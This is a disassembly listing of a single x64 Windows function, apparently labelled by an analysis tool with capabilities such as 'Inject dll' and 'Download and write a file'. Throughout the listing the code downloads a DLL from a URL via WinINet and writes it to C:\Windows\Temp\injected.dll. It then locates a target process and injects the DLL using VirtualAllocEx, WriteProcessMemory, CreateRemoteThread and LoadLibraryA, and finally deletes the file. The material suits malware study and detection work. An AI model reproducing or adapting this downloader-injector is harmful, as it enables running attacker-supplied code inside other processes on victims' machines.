Function at 0x140048290
Capabilities:
Create http request
Create thread
Delete file
Download and write a file
Enumerate processes
Inject dll
Inject thread
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x370]
sub rsp, 0x470
mov rax, qword [0x1400d4040]
xor rax, rsp
mov qword [rbp + 0x360], rax
mov rdi, rdx
mov rbx, rcx
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x48], xmm1
xor r15d, r15d
mov qword [rsp + 0x58], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.DLLDownloader
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rsi, rax
test rax, rax
jne 0x14004833d
lea rdx, str.Failed_to_open_internet._Error_code:
lea rdi, [0x1400d6260]
mov rcx, rdi
call fcn.14004e4a0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call fcn.14004bb20
mov rcx, rax
call fcn.14004e750
lea rdx, str.Failed_to_download_DLL.
mov rcx, rdi
call fcn.14004e4a0
jmp 0x140048597
cmp qword [rdi + 0x18], 0xf
jbe 0x140048347
mov rdi, qword [rdi]
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], 0x4000000
xor r9d, r9d
xor r8d, r8d
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rdi, rax
test rax, rax
jne 0x1400483bc
lea rdx, str.Failed_to_open_URL._Error_code:
lea rdi, [0x1400d6260]
mov rcx, rdi
call fcn.14004e4a0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call fcn.14004bb20
mov rcx, rax
call fcn.14004e750
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, str.Failed_to_download_DLL.
mov rcx, rdi
call fcn.14004e4a0
jmp 0x140048597
mov dword [rsp + 0x40], r15d
lea r9, [rsp + 0x40]
mov r8d, 0x400
lea rdx, [rsp + 0x60]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14004841c
nop
mov eax, dword [rsp + 0x40]
test eax, eax
je 0x14004841c
mov r9d, eax
lea r8, [rsp + 0x60]
mov rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x48]
call fcn.140053cd0
lea r9, [rsp + 0x40]
mov r8d, 0x400
lea rdx, [rsp + 0x60]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400483e0
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
lea rcx, str.C:WindowsTempinjected.dll
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x14004847f
lea rdi, [0x1400d6260]
lea rdx, str.Failed_to_create_temporary_DLL_file.
mov rcx, rdi
call fcn.14004e4a0
jmp 0x140048597
mov dword [rsp + 0x44], r15d
mov r8d, dword [rsp + 0x50]
mov rdx, qword [rsp + 0x48]
sub r8d, edx
mov qword [rsp + 0x20], r15
lea r9, [rsp + 0x44]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1400484d1
lea rdx, str.Failed_to_write_to_temporary_DLL_file.
lea rcx, [0x1400d6260]
call fcn.14004e4a0
mov rcx, rax
call fcn.14004e750
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14004859f
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x60], 0x130
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14004856b
lea rdx, [rsp + 0x60]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140048562
nop word [rax + rax]
lea rcx, [rbp - 0x74]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140048520
mov r8, qword [rbx + 0x10]
mov rcx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x14004853a
mov rcx, qword [rbx]
cmp r8, rax
jne 0x140048550
lea rdx, [rbp - 0x74]
call fcn.14008ab80
test eax, eax
je 0x140048606
lea rdx, [rsp + 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140048510
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.Process_not_found:
lea rcx, [0x1400d6260]
call fcn.14004e4a0
mov r8, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0xf
jbe 0x14004858c
mov rbx, qword [rbx]
mov rdx, rbx
mov rcx, rax
call fcn.140053f10
mov rcx, rax
call fcn.14004e750
xor bl, bl
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x1400485dd
mov rdx, qword [rsp + 0x58]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400485d8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004884a
call fcn.14005cf50
movzx eax, bl
mov rcx, qword [rbp + 0x360]
xor rcx, rsp
call fcn.14005cb00
mov rbx, qword [rsp + 0x4b0]
add rsp, 0x470
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, dword [rsp + 0x68]
test r8d, r8d
je 0x14004856b
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
jne 0x14004865d
lea rdx, str.Failed_to_open_process._Error_code:
lea rcx, [0x1400d6260]
call fcn.14004e4a0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call fcn.14004bb20
jmp 0x140048597
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x1000
mov r8d, 0x1d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
test rax, rax
jne 0x1400486ad
lea rdx, str.Failed_to_allocate_memory_in_target_process.
lea rcx, [0x1400d6260]
call fcn.14004e4a0
mov rcx, rax
call fcn.14004e750
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14004859f
mov qword [rsp + 0x20], r15
mov r9d, 0x1d
lea r8, str.C:WindowsTempinjected.dll
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14004870d
lea rdx, str.Failed_to_write_to_target_process_memory.
lea rcx, [0x1400d6260]
call fcn.14004e4a0
mov rcx, rax
call fcn.14004e750
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14004859f
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [0x1400c4068]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x14004876d
lea rdx, str.Failed_to_get_address_of_LoadLibraryA_function.
lea rcx, [0x1400d6260]
call fcn.14004e4a0
mov rcx, rax
call fcn.14004e750
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14004859f
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r14
mov r9, rax
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbx, rax
test rax, rax
jne 0x1400487e6
lea rdx, str.Failed_to_create_remote_thread._Error_code:
lea rcx, [0x1400d6260]
call fcn.14004e4a0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call fcn.14004bb20
mov rcx, rax
call fcn.14004e750
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14004859f
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.C:WindowsTempinjected.dll
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rdx, str.DLL_injected_successfully_
lea rcx, [0x1400d60c0]
call fcn.14004e4a0
mov rcx, rax
call fcn.14004e750
mov bl, 1
jmp 0x1400485a1
call fcn.14007110c
int3